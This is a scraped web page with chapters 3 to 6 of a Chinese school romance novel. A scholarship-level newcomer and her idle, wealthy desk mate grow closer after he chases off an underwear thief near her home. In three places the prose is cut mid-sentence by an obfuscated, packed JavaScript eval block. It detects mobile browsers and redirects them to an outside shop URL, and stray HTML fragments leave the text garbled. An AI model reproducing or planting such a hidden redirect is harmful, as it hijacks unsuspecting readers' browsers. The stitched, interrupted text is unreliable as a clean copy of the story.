《岁岁年年》 3. 03 跟杭霆成为同桌的几天里,丁琰觉得没什么不好。一多半的课他都是睡过去的,剩下一小半,人都不在。 她本以为他是那种爱接老师话、爱搞点存在感的人,毕竟他的寸头在班里也引起不小轰动,但也没有。 他不会主动跟老师作对,当然,也不会听课。 不睡觉的时候,他会在本子上画画,丁琰看到过,一般都是当节课老师的画像,夸张却很传神。 总的来说,有这个同桌跟一个人坐区别不大。 丁琰不懂李潇潇为什么提起杭霆就一脸便秘的表情,只要杭霆在,她绝不会转过来,杭霆一走,她才会跟丁琰说话。 “下节课要同桌互批作业,你这同桌都不在,怎么改啊?” “我自己可以改。” 李潇潇撇嘴,“人家上个学可比咱潇洒多了,跟度假似的。” “你们以前是同学?” “没在一个班,不过他啊,有名得很。” “他得罪过你?” “本小姐跟他才没交集。” 丁琰不懂,既没交集也没得罪过,李潇潇怎么这么讨厌杭霆。 “你知道他是怎么进一中的吗?” “怎么进的?” “花钱啊,一分一万。” 丁琰早就知道一中难进,很多人找关系、花钱都进不来,却还是被这个天文数字吓到了。 “本部的初中部分数线要比外面录取的低一点,不过他应该也花了不少钱吧。”李潇潇忿忿,“花钱塞他到普通班也就算了,居然敢塞到咱们班。” 一班到四班都是重点班,一二班尖子生更集中一些。 丁琰有点儿理解李潇潇的心理,大家都是努力考进来的,而杭霆用人民币就轻松跟他们挤进了同一间教室,她自然不爽。 “明天成绩和名次应该就出来了,我刚去综合楼的时候看到他们正在分卷子呢。”李潇潇特别神秘地加了句,“我听说,摸底考成绩出来之后可能重新分班呢。” “为什么?” “不是全班打乱,是那种成绩特别差的,会被踢到普通班去。”李潇潇虔诚祈祷,视线落在杭霆的空桌子上,“最好是真的,这样潮水褪去后就知道谁在裸泳了。” 丁琰想起一道题,考试时她不大确定,在抽屉里翻找出练习册查看。 李潇潇戳了戳丁琰胳膊:“欸,你暑假补课了吗?” “补课?补什么课?” “唉,好担心我的成绩,你知道吗,好多人都已经提前学过高一的课程了。我暑假报了个补习班,碰见一班二班好多熟人呢。” “暑假就开始了?” “是啊,一二班好多搞竞赛的,都提前学高中课程的。” 丁琰觉得自己像个与世隔绝的傻子,什么竞赛,什么补习班,她原来听都没听过。 对于杭霆的那些八卦她不想打听,但是这些她感兴趣,追问了李潇潇几句。 李潇潇说自己也只是跟着上了个暑期班,上满一学期学费要好几万,然后安慰她:“你以前在外地可能不知道这些,不过第一次摸底考不好也没什么的,以后努力跟上就可以了。” - 下课铃响起,操场上三班和四班的人群开始慢慢悠悠往教学楼方向走。 杭霆还在球场上,看着王雨浓接到传球,越过防守到篮下。 “这边!”杭霆喊了一声。 王雨浓一个假动作,反手将球传到杭霆手中。 杭霆跟他配合默契,下一秒上篮,进了。 “行啊你,换了发型就是不一样。”王雨浓过来拍他的肩,“该回去上课了。” 杭霆耸耸肩。 “还想打?不怕老师叫家长啊,你最近攒了不少通报批评了。”王雨浓提醒他。 “只要他们能叫得来,随他们便。”杭霆抹了把汗。 “你爸最近没在国内?” “马来?新加坡?不知道。” 王雨浓叹口气:“真羡慕你,天高皇帝远的,还不缺钱花。” “我死在这儿可能都没人管。” “呸呸呸,别说这种晦气话。” 两人去小卖部拿了两瓶水,远远看见丁琰坐在操场边的树荫下看书。看人走得差不多了,她才合上书起身。 王雨浓把手搭在杭霆肩上,问:“你那同桌是从哪儿来的?” “什么从哪来的?” “你不知道?她在我们班都出名了,天然无添加纯有机土妹。” 丁琰总是独来独往的,每次上体育课都很显眼。 T恤款式颜色老土,帆布鞋是仿的converse,还仿得很拙劣,全身上下衣服的牌子没一个英文单词认识的。 “她是个狠人啊,我听说她上晚自习,一直到集体熄灯才走,有几次都是被保安催着走的。” 这些杭霆都不知道。 他既没注意过丁琰的穿着,也没上过晚自习。一放学他就溜了。 不过想一想,他旁边那人一整天姿势就没怎么变过,无论上课下课都不停在书本上刷刷写字,跟老师的史官似的。 “小地方来的,念起书来不要命。” 杭霆喉咙上下滚动,吞了一口水,反问了句:“你自己考多少分心里没数?” 王雨浓中考所有分数加起来勉强凑够三位数,上中专都费劲,他那个爹直接给学校捐了两个化学实验室。家里人对他的期许就是,安安生生在一中待三年,毕业就打包送去国外。 “我这叫旁观者清,她再学,能学得过一二班那些学霸?等摸底考成绩出来,打击太大。” “管好你自己。” 高一晚自习采取自愿制度,一共三节,九点半结束,基本都是住校的和家离得近的,上的人不多。 九点半下课,大家陆续走掉,保安大叔会在十点十分左右开始挨个楼层查看,丁琰看半小时左右的书,十点离开,就不会被保安大叔催促。 李潇潇的话提醒了她,别人早就学完了高一的课程,她也应该努力一点。 学校门口就有公交站,坐一站公交车,下车点距离小区门口不到一百米。安城的夜生活挺丰富的,一路上灯火通明,就是进小区后有点儿黑。 丁琰这么实施了几天,觉得可行。 - 第二天一早,丁琰一进教室,李潇潇就用格外怪异的眼神盯着她。 她这两天都是半干着头发来的,还以为自己头上有什么东西,抓了半天,李潇潇才开口,先是啧啧了几声,然后说她真是深藏不露。 “什么意思?” “这次摸底考,你全班第二,年级十四,你知道吗?” 她摇了摇头。她消息哪有李潇潇灵通。 李潇潇说,她们几个来得早的去老师办公室看了年级名次表,前二十里都是熟人,除了一个人。 那匹黑马是丁琰。所有人都惊掉了下巴。 谁能想到坐在教室角落的外地生,会比一二班的大多数人都考得好? 丁琰心里悬着的石头缓缓落地。开学这些天,她感受到了省重点的速度,她勉强跟得上,但总绷着一根弦,更别说李潇潇隔三差五要给她制造焦虑。 “你怎么没说过你这么厉害?”李潇潇笑着,表情里却蕴含了很多东西。 一旁趴着补觉的杭霆皱着眉起身,盯着丁琰。 丁琰注意到了他的注视,以为是她们的讲话声吵到他了,顺手递了一副耳塞过去。 当着杭霆的面,李潇潇不敢惹他,她本来只想用表情偷偷跟丁琰传递不满,没想到丁琰动作直接又果断,把她看傻了。 杭霆没接耳塞,没什么表情地说了句:“水溅我身上了。” 丁琰摸了摸自己半干的头发,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的七八张卷子就那么摞在桌上,她看了眼最上面的英语和数学,一百二的满分,英语110,数学70。 还不算差得离谱,甚至有些出乎她的意料。她还以为他会门门不及格呢。 摸底考名次比她预估的高了不少,本来应该心情很不错的,可她头靠在公交车玻璃上,怎么也高兴不起来。 一晃神,就多坐了一站。 等车等了好久,又往回走了一站,到小区时已经快十一点了。 也不知是心理作用还是真的已经很晚了,周围静得出奇,摆夜市摊的摊贩也都在默默收摊。 这小区本来就没几盏路灯,低楼层住户不满,晚上路灯干脆也不开了,纯靠环境光。 可这会儿,连环境光都快没了。 丁琰摸黑走了几步,总感觉四周有人,转头看看,门卫大爷窗口发出的微光让她有了一丝丝的安全感,尽管她知道他已经睡得不省人事。 起了一阵风,一点儿也不冷,但吹得她起了一身鸡皮疙瘩。 周围那些电线杆,老头老太太堆的破纸壳子,还有稀稀拉拉的树,都变得张牙舞爪的。她甚至感觉花坛边的阴影里好像坐了个看不清面容的人。 她心里发慌发毛,再也不敢回头,快步往里走,走到楼梯口还绊了一跤。 楼道里黯淡的声控灯和对面的门同时打开。 杭霆拎着一袋垃圾出来,正好看到她慌慌张张半爬着进了楼道。 不知怎么的,狂跳的心突然安了下来。 丁琰回头看了眼楼梯口,黑洞洞的,什么都没有。 “我没事。” 杭霆还什么都没说,她已经扯开门进去了。 4.04 这次摸底考除了卷子,每个人还收到一张细长的成绩条,丁琰庄重地把那张成绩单贴到错题本首页的最上面,方便以后每次考完做对比。 她打电话给丁怀新,丁怀新在跑车,说了几句就挂了,无非就是让她不要掉以轻心,继续保持之类的。衣食住行安顿好了他不用操心,学习他帮不上忙,只能说这些车轱辘话。 真正能分享她这份快乐的,只有安然。 丁琰有点儿想念她这个老同桌。 虽然安然也不学习,但安然天真热情性格好,一点儿也不妨碍她们成为无话不聊的朋友。只是现在隔了几百公里,平时课业又重,丁琰只有在周末才有空和她打电话,好好说一会儿话。 安然问到她的新环境,新朋友。 丁琰想了想,她哪有什么朋友,到现在认识的人也只有李潇潇,跟几个课代表短暂说过几句话。姑姑家小饭桌来吃午饭的学生不少,她也认识了几个,不过都不同班,有的还是高二的,在学校很少碰上,也不是很熟。 还有就是她提都不想提的同桌。 偏偏安然又问起来了,她含糊其词,说不大熟,他不是在睡觉就是在操场打球,从来不听课。 安然却笑起来:“听起来跟我很像啊,你是不是总跟我们这种人有缘分?” 想起杭霆傲慢的样子,她坚决否认:“不一样。” “搞不好你们要一起坐三年呢。” “不会的,马上就换座位了。” 聊到一半,余光里有人影晃动,丁琰下意识抬头,发觉对面阳台上有人。 杭霆居然在。他戴着一副头戴耳机,好像在听歌。 他们两家阳台离得很近,能彼此看见,玻璃又是老式的推拉塑钢窗,不怎么隔音,她顿时有种背后说别人坏话被抓包的心虚感。 希望他耳机里真的有音乐。 自从那晚在楼道里遇见后,他们已经几天没说过话了。 他傲慢,无礼,但在她有点恐惧的时候给了一点安全感,那些莫名其妙的气也就随之消散了。 挂掉电话,丁琰第一反应是抬头——阳台上挂了她洗好的内衣裤。 她一抬头,还好姑姑已经帮她收走了。 周末丁莉不用做二十多人的午饭,心情轻松,哼着歌在客厅里包馄饨。 丁琰走到客厅问:“姑姑,你收我阳台上的衣服和干发帽了吗?” “我哪有那闲工夫。”丁莉抬眼看她。 “哦,那我再找找。” 丁琰正要回房,丁莉叫住她:“衣服丢了?” 两人一对,才发现,丁莉挂在她窗口的内衣也不见了。 丁莉二话不说就叫赵晓霖出来。 丁琰觉得丁莉脑子简直有泡,赵晓霖再混蛋,也不至于拿自己妈和表姐的内衣吧? 赵晓霖还在赖床,被叫醒本来就不爽,再一听问他有没有拿别人内衣,他彻底火了,大吼他妈脑子有问题,摔门回房了。 丁莉花了半天才哄好赵晓霖,出来跟丁琰说,可能是被人偷了,让她晚上睡觉锁好阳台窗户。 “这里有小偷?”丁琰意外。 “这儿离老火车站那么近,没小偷才怪呢。”丁莉习以为常,“没事,有防盗窗,爬不进来。” 小区也没个正经门,破旧铁门从来都是大敞着,丢晾在院子里的衣服、阳台上的腊肠是常有的事。早就说是要老房改造,也一直没见动静。 因为丢的大多不是值钱物件,也就没人追究,最多在院子里骂两句就过去了。 晚上关灯后,丁琰特意去阳台上检查窗户,不检查不要紧,刚走到窗户边,她透过玻璃看到一张不大真切的人脸,一张陌生男人的脸。 那人手里拿了根长长的晾衣杆,正试着挑开推拉窗。 就这么冷不丁的,她跟偷衣服的贼打了个照面。 丁琰心跳都停了一瞬,脑门上冷汗当时就下来了。 她惊叫一声,那人也愣了一下,还没等她大脑判断清是怎么一回事,那人就溜了。 紧接着,她听到有个声音厉声问:“干什么呢!” 几秒后,一个人影飞快地追了出去。 远处传来几声电动车警报,然后就没声音了。 丁莉皱着眉跑来敲她的门,问她这么晚不睡在瞎叫唤什么。 丁琰惊魂未定,指着阳台说小偷刚才就在窗户下面。 丁莉二话不说,气势汹汹走进她房间,哗啦一声拉开窗户,探出头大骂小偷,“偷别人家东西不得好死”“丢十八辈祖宗的脸”之类的话倒了一箩筐,尖锐的声音响彻安静的院子。 丁琰觉得有点丢人又有点好笑。 骂了一两分钟后,丁莉关好窗户,说:“行了,睡吧。” 丁琰呆了,“啊”了一声:“不报警吗?” 这样就行了吗? 丁莉催着丁琰快睡,“报什么警啊,震慑震慑得了,又没偷走什么,你明天不上学了?” 丁琰很难认同丁莉刚才所谓的“震慑”有效。 她坐在床边,反复回想刚才追出去那个身影,还有那个声音,她怎么越想越觉得像杭霆。 - 第二天早上,杭霆两节课后才来,脸上还挂着血痕。 班主任早就在教室后门等着他了,一来就直接叫他去了办公室,丁琰都没来得及跟他说上话。 果不其然,李潇潇又是一顿冷嘲热讽。丁琰一直低头看书,装作没听见。 等杭霆从老师办公室回来,已经中午了。 他刚迈进教室,脚步顿了顿。 教室里空荡荡的,只有丁琰一个人坐在位置上看书。 真是废寝忘食的好学生。杭霆摇了摇头,准备退出去。 听到动静,丁琰赶紧回头,问:“你昨天是不是去抓小偷了?” 杭霆退回来盯了她半天,那眼神好像在说她是个蠢货,见她神情认真,他叹了口气:“你以为那是个小偷?” “不是吗?” 杭霆说,那人有案底,因为猥亵、偷窃和□□未遂被抓过,最近一直在附近几个没什么安保措施的老小区晃悠。 看来她和丁莉的衣物大概率就是那个变态偷的。 “你听到声音才出去的?”她问。 杭霆意味深长地看了她一眼,说那破窗户又不隔音。 丁琰瞬间回想起周末在阳台上说他坏话,难道他都听到了? 她有些尴尬地转移话题,问是不是他一个人把那个人抓住的。 其实不是,杭霆追到小区门口,恰逢门卫大爷出来解手,正好堵住那人,一起控制住,打电话报了警。 丁琰心里一阵后怕,她昨晚就和那个人隔着一层玻璃对视,近得不能再近了。 “老师说你了吗?” “老师少说过我吗?”他有点不耐烦,是把他当答疑老师了吗,怎么这么多问题。 “老师误会你的话,我可以帮你去作证。” “省省吧。” “我是说真的。”她很认真。 看丁琰认真的样子,杭霆才说,派出所的民警已经替他给老师解释过了,还要给他送表扬信。 “哦……你脸上的伤是那个人弄的吗?” “不是,是自己长出来的。” “……”丁琰听出他语气里的不耐烦,“你记得去医院处理一下。” 该说的也都说了,他们之间也没什么要说的了,看来也不需要她做什么了,空气凝结,陷入了尴尬的沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840908|191264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁琰合上书本和笔,准备起身离开。 “也就你蠢,你没发现那片晚上都没人出来么。” 杭霆冷不丁来了一句。 “路上人很多啊。”一路上还有路灯。 “人家难道会在亮堂的大马路上蹲点吗?” 丁琰语塞。 仔细想想,她忽然觉得后背一阵发凉,最近她回来都挺晚的,也许就被那个变态跟踪尾随过,只是她自己没发现。 杭霆虽然语气不大好,但总归是在提醒她,她点点头说知道了,然后说了句:“难怪赵晓霖叫你大哥。” “谁是赵晓霖?” “我弟啊。” “你弟又是谁?” 牛头不对马嘴地问了半天,杭霆才搞清楚赵晓霖是谁。平时丁莉总是叫霖霖,他一直不知道赵晓霖的大名。 “他是你弟?” “对啊。” 对过账,杭霆这才搞清楚,丁琰不是在小饭桌长住的学生,而是丁莉的侄女,赵晓霖的表姐。 而丁琰也终于知道,只是在小饭桌吃个午饭睡个午觉,每个月就要八百,难怪她住进来丁莉不大乐意。 原本杭霆和赵晓霖只是邻居,抬头不见低头见,赵晓霖看他的车酷,穿的鞋也都是限量款,偶尔过来套近乎,时间久了就聊得多了。 赵晓霖跟他闲聊时说起过,他们班有个男老师,上课喜欢把手伸进男生衣领后面暖手,全班男生都为他提供过“暖手服务”。有时候去办公室,老师的手还会伸到裤子里。 刚上初中的半大小子们都拿这事开玩笑,还在班里成立了个“非处男小分队”,这个队伍还越来越壮大。 杭霆觉得不对劲,提醒赵晓霖注意点,可赵晓霖傻乎乎的,说班里人玩得不亦乐乎,再说了,那老师只摸男生,从来不摸女生。 毕竟不同校,他们之间也算不上有多熟,杭霆也只能点到为止。 直到那老师来赵晓霖家家访。 那天丁莉不在家,可那个老师还是执意来了,还让杭霆碰上了。 杭霆觉察出不对劲,没让赵晓霖的老师进门,还揍了那老师一顿。 后来那个老师恶人先告状,去一中举报了杭霆,害得杭霆差点被退学。 “这不是猥亵吗?”丁琰惊讶得捂嘴。 “是啊。” “后来呢?” “后来他们学校有几十个学生联合举报他猥亵男生,然后发现他还有别的事……前段时间刚判。” 从那以后,赵晓霖就认杭霆当大哥了。 丁琰若有所思。原来大哥是这么来的,她还以为他们是打架混社会认识的。 赵晓霖平时看着吊儿郎当的,没想到不过是个什么都不懂的傻小子。 “你是不是有变态检测器?”丁琰问。她觉得他对这些事特别敏锐。 “难怪你们是姐弟。”杭霆嘴挺毒的,“蠢到一块去了,一点基础安全防范意识都没有。” 丁琰这才后知后觉地反应过来:“难怪李潇潇说你打过外校老师。” “……”杭霆无语,“以后别总听李潇潇瞎说。” “为什么?” “她脑子不正常。” “你们俩有仇?” “她——” 杭霆说一半不说了。 看这架势,难道他们有点什么? 丁琰不爱八卦,也就没追问,反正跟她也没关系。 只是她觉得挺奇妙,就这半小时,他们说的话比开学这么久都多。 “不吃饭吗?”杭霆问她。 丁琰看了眼时间。她中午跟丁莉打过招呼,不回去吃了,本来打算扛一扛的。 “真打算拿课本当饭吃?走,一起吃饭。” 5.05 丁琰跟着杭霆走出教室门,其实她还没做好决定,毕竟跟一个不大熟的人去吃饭,有点怪怪的。一起吃饭总要坐在一块,总要说点什么,他们之间又没什么可说的。 杭霆没想那么多,只是看她专门等在教室里,已经错过了午饭时间,一起吃个饭也无妨。 他们路过四班教室门口,正好撞上伸懒腰伸一半的王雨浓。 “等你吃个饭也太难了,我都睡了一觉了——” 王雨浓看到丁琰,话说到一半梗住了。 他看见这组合,人都傻了,听说他们还要一起去吃饭,更是震惊,上上下下打量丁琰。 丁琰认出这是经常和杭霆在一块的男生,也高高大大的,就是比杭霆胖了一点,戴了副眼镜,脚上穿了双丑鞋,比之前荧光绿还难看的星空蓝。 她对这些家境优渥天然自信的男生天然地敬而远之,总觉得不是一个世界的人。 不过这也是事实,他们确实不是一个世界的。 “你们去吃吧,我自己去食堂。”她钉在原地。 杭霆看出丁琰不大想跟他们一起,没说什么,耸耸肩任她去。 倒是王雨浓热情得过分,招呼上了:“别啊妹妹,一起去一起去。” 杭霆一把扯住王雨浓,问他要干嘛。 “关爱同学啊,顺便向学霸讨教讨教。”王雨浓表现得很正派。 “你认识我?”丁琰抬起头问。 “妹妹,你太小看年级前二十的威力了。” 丁琰回头很认真地问了句:“为什么总叫我妹妹?” 王雨浓一顿,面色讪讪,“就是一种昵称,昵称。” “我叫丁琰。” “好的,好的,在下王雨浓,杭霆的朋友。”王雨浓规规矩矩地说。 王雨浓平时跟交际花似的,杭霆都很少看到他这么吃瘪。 果然真诚才是唯一的必杀技。 不过王雨浓也不计较,照旧嘻嘻哈哈的,在他的极力邀请下,他们没去食堂,出校门去了斜对面商业街区里的麦当劳。 一进门,王雨浓先找位置,又格外热情地介绍怎么点餐,都有些什么。 杭霆快要发火了,他不知道王雨浓这是在干什么。 “我这不是怕她没吃过么。” 丁琰还真没吃过麦当劳,康县只有一家德克士,不过快餐店吃的都差不多,就汉堡薯条可乐那些。 杭霆让她随便点,他请客。 丁琰只要了个汉堡,一杯可乐,王雨浓一听是杭霆请客,吃大户一样点了一堆。 三人在窗边位置坐下,王雨浓才注意到杭霆脸上的伤,问:“你这脸怎么回事,昨天又跟谁单挑去了?” “我闲的我。”杭霆皱着眉说。 “那李姐怎么一大早就叫你去办公室?” “你身上安摄像头了?” 王雨浓人虽然在四班,但对三班的动向了如指掌。 杭霆没说昨晚干什么去了,丁琰知道实情,但也默不作声,低头啃汉堡。 王雨浓从杭霆那儿问不出什么,又转向丁琰。 “妹……丁琰,你家是哪儿的?” “康县。” 康县,他没去过,只是听说过。 就算是这样,他也能聊上几句。 “康县啊,我知道,那边产梨,你家种梨吗?” “以前种。” 梨是康县的产业,她爷爷家也有果园,但因为爷爷奶奶身体不好,这几年都没有再忙活了。 “你能上一中肯定特别不容易,中考一定考得特别好吧?” 那语气,好像她是从什么没通电没通路的山沟沟里考出来的。 “还行。”她回答道。 “好学生就是谦虚,都是状元了,居然说还行。” 她不明白王雨浓怎么对她这么了解,而且明明什么都知道还要问她。说他有恶意吧,他又不像有坏心眼的样子,说他没有吧,她不信他来吃饭就是为跟她说这些闲话的。她觉得他有种猎奇心态,高高在上地盯着她,好像专等着她出洋相一样。 这儿的人怎么个个都跟李潇潇似的,身上都装着八卦雷达。 “查户口呢?”杭霆打断了王雨浓。 “随便聊聊嘛,在座的哪有土生土长的安城人?其实我和杭霆也是外地的。”王雨浓笑嘻嘻地指了指自己和杭霆,“我们俩都是油田子弟,小学三年级之前都是在甘肃上的,初中才转过来的,到现在还不分前鼻音和后鼻音呢。” 杭霆母亲和王雨浓父母是同事,后来油田高管换了驻地,统一迁到安城来办公,他们也就跟着过来生活了。 都是外地人,总归还是不一样。他们的自信和松弛,是优渥的生活堆砌起来的。 快吃完的时候,几个女生结伴从外面路过,其中一个扎着高马尾的漂亮女生透过窗户看到了杭霆和王雨浓,随即眼睛一亮,推开麦当劳的玻璃门。 那个女生头发很丝滑,在阳光下闪闪发亮,同样是扎马尾,她的发型看着就精神很多。 她校服里穿了件淡黄色T恤,上面印了一只很可爱的小熊。 班里好几个女生衣服上都有那只熊。 那个女孩好像跟他们很熟,走过来也不打招呼,直接坐在丁琰旁边的空位上:“天天就知道吃这些垃圾食品。” 说完,她才注意到丁琰,还特意多看了几眼,像是不大确定丁琰是不是跟他们一起的。 女孩看看杭霆的寸头,又看看他脸上的伤,问:“你又闯什么祸了?” 杭霆皱起眉头。 王雨浓开口:“江月大小姐,就非得是惹祸才能受伤,就不能是做好事受伤的吗?” “那你说说,你做什么好事了?”那个叫江月的女生双手盘在胸前,等着听。 “是哦,你到底做什么了?”王雨浓立刻变换立场,看向杭霆。 杭霆也不回答,反问她在这儿干什么。 江月给几个小姐妹招手让她们进来,“我们给合唱比赛选曲开会啊。” 学校要举办合唱比赛,全年级前几天刚通知。三班也在弄这些,只不过都是班干部在忙,跟普通人没什么关系,他们只要听指挥就行了。 “这还要开会?”王雨浓不解。 “当然啦,十一假期后就要比了,我们要选歌,选衣服,选乐器,还要排练,时间很紧的。” 王雨浓对这些一点兴趣都没有,他觉得就是女生爱瞎折腾,合唱比赛,英语课本剧比赛,怎么就是不办篮球赛?真没意思。 “你们一班成绩好就算了,怎么什么都要争,累不累?” “我乐意。”江月扬着下巴,用很骄傲的语气说,像个公主。 他们几个人嘻嘻哈哈,说着跟学校完全无关的话题,聊了会儿新上的电影,耐克新上的鞋款,又聊十一去哪儿玩。基本都是王雨浓和江月在说,杭霆偶尔补一句,她的小姐妹再搭腔附和一下。 王雨浓十一要去新西兰,他抱怨七天根本不够玩,江月要去福建研学,到了杭霆,他说他计划去山上挖土豆。 大家都当他在胡说八道,笑成一团。 丁琰完全插不进去话。 她感谢杭霆,用玩笑话终止了这个话题,否则她干瘪又如同闹钟般周而复始的生活将暴露无遗。 她想起德克士在康县开业时排队两小时的盛况,还有她和安然第一次走进去的庄重神情。现在想起来,似乎有点可笑。 小县城也有快餐,也有电影院和商场,可零花钱是有限的,要一点点攒,吃一顿快餐,想看电影就得等下周。 所谓“年级前二十的含金量”此刻似乎毫不重要,她开学目标卡上写的那些出人头地的目标,而这,就是他们的生活。 快到上课时间了,七八个人一起回学校,队伍显得还挺壮大。 丁琰特意放慢脚步,走在最后面,跟他们拉开距离,然后越来越远。 太阳太过刺眼,她眯着眼睛看他们说笑打闹,电影一般美好的青春画卷。 她嘴里涩涩的,心中涌动着一些说不清道不明的情绪,她不知道是羡慕、嫉妒,还是难过、不甘,她的年纪和阅历还无法完全消化这些情绪,哽在喉头,只能无力地看着他们的背影。 她和他们只是这三年恰好在同一个空间里而已。 而她要做的,只有好好抓住这三年时间。 - “哎,哎,杭霆,你等一下。” 其他人都回了教室,江月叫住杭霆,下巴朝远处的丁琰扬了扬,“那是谁啊?” “说了你也不认识。” “你什么时候能好好说话?” “说事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844932|191264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “最近怎么总不见你,你不回玫瑰园的家了?” “嗯。” “住你外婆的老房子?” “嗯。” “我妈喊你来家里吃饭,我说我连你人都碰不到,光在通报批评名单上见你了。” 杭霆笑了下,“亲爸亲妈都不管我。” “他们十一都不回来?” “不知道。” 一个在东南亚没日没夜地谈生意,一个在大西北献身石油事业。 谁顾得上他呢。 已经打过一次预备铃了,江月急匆匆又很认真地说:“你别再打架了,行吗?” 杭霆露出个无语的表情,什么都没说,转身进了教室。 跟在他们身后的丁琰听到了江月最后的话,她心里生出个别扭的想法:杭霆昨晚干了什么,是只有她和杭霆才知道的秘密。 也许只有这么想,才能找出自己有一点与众不同的地方。 - 当天下午,派出所民警就把感谢信送到了学校,还在全年级开展了一场安全教育科普。 杭霆脸上的伤得到了正名。他一下午都没在,被校领导和老师叫去合影、受表彰,忙活了大半天。 听说学校还要表彰年级主任和班主任。年级主任来讲话的时候,还说要把杭霆的事迹发到校报和楼下的光荣榜。 丁琰觉得挺搞笑的,前段时间还记过、通报批评,每个老师都要恨铁不成钢一番,现在突然上光荣榜了。 上自习课时,李雯君叫丁琰去教室外的走廊上。 “摸底考发挥得很不错。” “谢谢老师。” “继续保持,不要骄傲,日记本还在我办公室,我继续帮你保管。不是因为老师不相信你,是觉得学期刚开始更应该把重心放到学习上,这些乱七八糟的东西以后就不要再写了,各科老师都很看好你。” 丁琰迟疑,然后点点头。 这次考试过后,她在班里有了一些存在感。 各科老师都注意到了她,上课叫她回答问题的频率也比之前高了。 “还有个事,我不打算重新排座位了,只做小范围的调整,你要不要换个同桌?可以在学习上给你更多帮助。” 丁琰看了一眼杭霆的空位,想了很久。 明明上周末还信誓旦旦地跟安然抱怨这个新同桌,可现在,他好像没那么讨厌了,甚至觉得跟他坐同桌好过跟李潇潇。 她看过杭霆的分数和排名,全班35名,也没到无可救药的地步。 李雯君见她半天不说话,似乎是觉得她和不良学生走得太近,生出一些担忧:“我知道你们坐了一段时间同桌,可能彼此也比较熟了,换同桌还要重新适应,但老师不希望你学习受到任何影响。” “其实他没有影响到我学习。” “那就是不用换?” “嗯。” 李雯君没答应她,也没拒绝,只让她再考虑考虑:“想好了随时来找我。” 杭霆在放学半小时后才回来,满身疲惫。 教室里人不多,有十来个人在搬东西,挪桌子。 丁琰戴着耳塞,咬着笔在想一道题。 他看见教室这阵仗,用关节敲了敲桌子。 “换座位了?”他问。 丁琰摘下耳塞,“没有啊。” 杭霆在原地站了一会儿,也不知道在想什么,最后说,“行,明天见。” “你等一下。”丁琰在书包夹层里取出五十元现金,克制地放在杭霆桌上,“我想了一下,中午吃饭还是不用你请了,我觉得AA比较好。” 其实她点的那两样只有二十出头,可她又担心给得有零有整太小家子气,干脆拿了五十出来。 教室里其实挺嘈杂的,但他们周围像是隔了一层静音罩。 丁琰心跳如擂鼓,她回想了两遍自己刚才的动作和语言,应该还算自然和得体。 桌上的绿色纸币就那么静静躺着,像是隔了一个世纪,她才假装淡定回头看。 杭霆就没走,还站在她身后,看她的眼神很怪异,像是在说她有病。 “怎么了?”她故作镇定,用随意的口气问。 杭霆从抽屉里扯过自己的书包,抡到肩上,带起一阵风,那张纸币随之在空中左摇右摆,飘到了地上。 6.06 江月帮物理老师拿作业和杯子到三班教室,她自如地走上讲台,放下东西,顺便还笑容灿烂地跟认识的人打个了个招呼。 江月的头发特别柔顺,就像洗发水广告里的模特一样,颅顶饱满,额头光滑,发尾还带了点儿恰到好处的小卷,看不出是烫的还是自来卷,一跳一跳的。 江月的出现让三班有了小小的躁动。李潇潇本来和文体委员林诗雨在商量合唱比赛的事,看到江月的身影,八卦雷达又响了,飞快在林诗雨耳朵边小声说了句什么。 林诗雨立刻起身跑到教室前面去,挽着江月的胳膊出去了。 林诗雨跟江月初中是同班,两人很熟悉。 李潇潇关注着她们的一举一动,还不忘转过来戳丁琰胳膊,快看,那就是一班班花。 “不过我感觉她就是班花的级别,校花还够不上。”李潇潇撇撇嘴。 丁琰心想,你长得有多好看? 她无暇顾及什么班花校花,她已经卡在一道物理选择题上很久了,看了三遍题干都没看进去。 她脑子乱成一团麻,她很后悔前一天自己打肿脸充胖子的行为。 她不知道是给钱的行为惹怒了杭霆,还是太过小家子气他瞧不上。她能从为数不多的零花钱里拿出五十来已经很有勇气了好吗? 想多了她也不愿意再想,只是刚跟同桌熟起来,关系又降到了冰点。 没关系,她还有一张牌。 大不了去找班主任换座位。 李潇潇和林诗雨密切的交谈声把她从钻牛角尖的状态拉回现实。 “刺探军情”回来的林诗雨显得很焦灼,“我好像把事情想得太简单了,江月说她们班定制了统一服装,要上乐器,还有伴舞。” “就一个合唱比赛而已,这么拼?” 三班原本只打算穿校服,唱一首《光阴的故事》和《夜空中最亮的星》,歌都是李潇潇选的,比其他班选的歌都要时髦,她本来还为自己的选曲沾沾自喜呢,现在也坐不住了。 “丁琰,你说我们是不是也应该加点编排?”李潇潇晃了下丁琰的胳膊。 丁琰莫名其妙被迫加入到了这个讨论中,敷衍点头。 反正她说了不算,李潇潇也不是真的想问她意见。 “咱们班有谁会乐器?”李潇潇问。 林诗雨犹犹豫豫的,朝杭霆的位置努了努嘴。 